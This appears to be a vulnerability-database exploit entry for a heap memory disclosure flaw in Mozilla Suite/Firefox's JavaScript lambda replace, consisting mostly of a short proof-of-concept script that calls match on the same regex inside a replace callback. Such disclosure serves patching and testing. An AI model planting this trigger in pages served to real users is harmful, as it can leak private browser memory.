• info
• discussion
• exploit
• solution
• references

Mozilla Suite/Firefox JavaScript Lambda Replace Heap Memory Disclosure Vulnerability

An exploit is not required.

The following proof of concept is available:

var rx=/val/i;
x = x.replace(rx,function($1){
$1.match(rx);
return "";
});